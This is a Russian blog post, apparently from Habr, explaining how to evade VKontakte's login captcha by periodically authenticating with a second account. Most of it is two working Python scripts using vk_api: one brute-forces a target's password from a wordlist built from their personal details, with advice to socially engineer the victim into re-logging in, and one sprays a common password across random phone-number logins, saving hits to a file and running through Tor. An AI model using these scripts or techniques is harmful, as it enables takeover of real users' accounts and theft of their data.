Search
Write a publication
Pull to refresh

Обход капчи при авторизации ВКонтакте

Не так давно начал учить Python и попробовал использовать VK API на Python. Поняв как это всё работает решил попробовать и использовал для этого Python модуль vk_api.

С помощью этого модуля можно легко авторизоваться в Вконтакте и так же просто пользоваться API:

import vk_api
vk_session = vk_api.VkApi('79100000000', 'passwordA')
vk_session.auth()

Авторизация на страницу А прошла успешно, но после нескольких попыток авторизации неверным паролем выскакивает ошибка. Это капча.

Я использовал вторую страницу(В) в Вконтакте для авторизации, но после этой авторизации снова ввел логин для страницы А и неверный пароль, что в результате капча не появилась.

Далее сделал попытку подбора паролей для страницы А и написал следующий код:

import vk_api, os
i = 0 # будем считывать пароли
auth_i = 0 # будем считывать круги
login_a = '79100000000' #логин к странице А
login_b = '79200000000' #логин к странице В
password_b = 'passwordB' #пароль к странице В
password_file = "password.txt" # файл с паролями
# читаем файл с паролями построчно
with open('password_file.txt', 'r') as f:
    password = f.read().splitlines()
while len(password) > i:
    # на каждые 6 раз авторизуемся, что бы избавиться от капчи
    if auth_i == 6:
        vk_session = vk_api.VkApi(login_b, password_b)
        vk_session.auth()
        os.system("rm vk_config.v2.json")
        auth_i=0
    try:
        vk_sessions = vk_api.VkApi(login_a, password[i]) # делаем попытку авторизации
        vk_sessions.auth()
        print("[###]:  "+password[i]) # если Успех, то выводим пароль
    except:
        print(password[i]) # если ошибка, то идем дальше считывая пароли
    auth_i+=1
    i+=1


Пароли:

qwerty321 #1
an199910  #2
10an10199 #3
...
<u>
dxer19991 #53
</u>... #60

И в результате получил dxer19991 .

Таким способом можно перебрать ~60 паролей, а после выскакивает новая от Google.

Вроде не так страшно, но допустим у нас есть обычный юзер:

Павел Дуровский 1999.10.10 79200000000

Учитывая простоту человека, можно предположить, что его пароль состоит из выше перечисленных данных и составить такие пароли:

pasha1010
10101999pasha
...

И так составить примерно 60 паролей.

Если ни один пароль не совпал можно включить социальную инженерию и попросить юзера перезайти в свой аккаунт(или придумать другой способ, что бы юзер совершил это действие), а затем снова составить ~60 других паролей и снова начать подбирать их.

В результате нам удается подобрать ~120 паролей за 2 подхода, но можно и ещё если удастся попросить юзера переавторизоваться.

Кто сказал, что брутить можно только логин?

Из всего, что попробовал мне не понравились ограничения, по это этому решил подбирать логины по паролю и написал следующий код:

import vk_api, random, time, os
i=0
codes = [900, 902, 903, 904, 905, 906, 908, 909,
         950, 951, 953, 960, 961, 962, 963, 964,
         965, 966, 967, 968, 969, 980, 983, 986,
         901, 904, 910, 911, 912, 913, 914, 915,
         916, 917, 918, 919, 950, 978, 980, 981,
         982, 983, 984, 985, 987, 988, 989, 920,
         921, 922, 923, 924, 925, 926, 927, 928,
         929, 930, 931, 932, 933, 934, 936, 937,
         938, 939, 950, 951, 999, 901, 952, 958,
         977, 991, 992, 993, 994, 995, 996, 998] # операторы
password = "12345678" # пароль по которому будем искать
cod = "" #cod = "968"
while True:
    try:
        if cod == "":
            login = "7"+str(codes[random.randint(0, len(codes))])+str(random.randint(1000000, 9999999))
        else:
            login = "7"+cod+str(random.randint(1000000, 9999999))
    except:
        print("Error creating login")
    try:
        vk_session = vk_api.VkApi(login, password)
        vk_session.auth()
        print("[TRUE]>>> login: "+login+" : "+"Password: "+password)
        file = open("bd.log", "a+")
        file.write("login: "+login+" "+"Password: "+password+"\n")
        file.close()
        i=0
    except:
        if i == 10:
            # логин и пароль для сброса капчи
            vk_sessions = vk_api.VkApi('79200000000', "password") 
            vk_sessions.auth()
            print("reCaptcha")
            os.system("rm vk_config.v2.json")
            i=0
        else:
            print("=> "+login+" for "+password)
        i+=1
        time.sleep(0.2) # машину жалко

Ну а после я подключил Тор к консоли и запустил код.

Возможно и в первом варианте надо было подключить Тор к консоли. Но не факт, что получилось бы.

В итоге можно сказать, что пользователи с простыми и удобными паролями, могут быть в опасности.

Об этом решил сообщить в вк, но ответа всё ещё не получил.
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.